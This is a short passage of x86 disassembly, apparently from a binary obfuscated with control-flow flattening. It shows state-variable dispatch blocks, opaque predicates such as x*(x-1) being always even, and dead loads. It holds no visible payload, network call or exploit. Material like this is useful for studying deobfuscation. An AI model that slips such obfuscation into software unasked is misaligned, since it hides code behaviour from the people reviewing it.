mov eax, dword [0x47b554]
mov ecx, dword [0x47b550]
mov edx, eax
add edx, 0xddebda5b
sub edx, 1
sub edx, 0xddebda5b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9aa1934
mov ecx, 0xe90c527b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov ecx, dword [0x47b554]
mov eax, dword [0x47b550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x53f352bf
mov ecx, 0x6ba32ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x46170], eax
jmp 0x413ee4
mov eax, dword [ebp - 0x46150]
mov eax, dword [ebp - 0x46148]
mov eax, dword [ebp - 0x46144]
mov eax, dword [ebp - 0x46148]
mov eax, dword [ebp - 0x46144]
mov eax, dword [ebp - 0x46148]
mov eax, dword [ebp - 0x46144]
mov dword [ebp - 0x46170], 0xcee2987c
jmp 0x413ee4
mov eax, dword [ebp - 0x4608c]
mov eax, dword [ebp - 0x4608c]
mov eax, dword [ebp - 0x4608c]
mov eax, dword [ebp - 0x4608c]
mov dword [ebp - 0x46170], 0x109be35f
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x1155196d
jmp 0x413ee4
mov eax, dword [ebp - 0x46120]
mov dword [eax], 0
mov dword [ebp - 0x46170], 0x97a29f93
jmp 0x413ee4
mov dword [ebp - 0x46170], 0xec4406b8
jmp 0x413ee4
mov eax, dword [ebp - 0x46150]
mov eax, dword [ebp - 0x46160]
mov dword [ebp - 0x46170], 0x9f01ef58
jmp 0x413ee4
mov dword [ebp - 0x46170], 0x89bb52d2
jmp 0x413ee4
jmp 0x40f2ec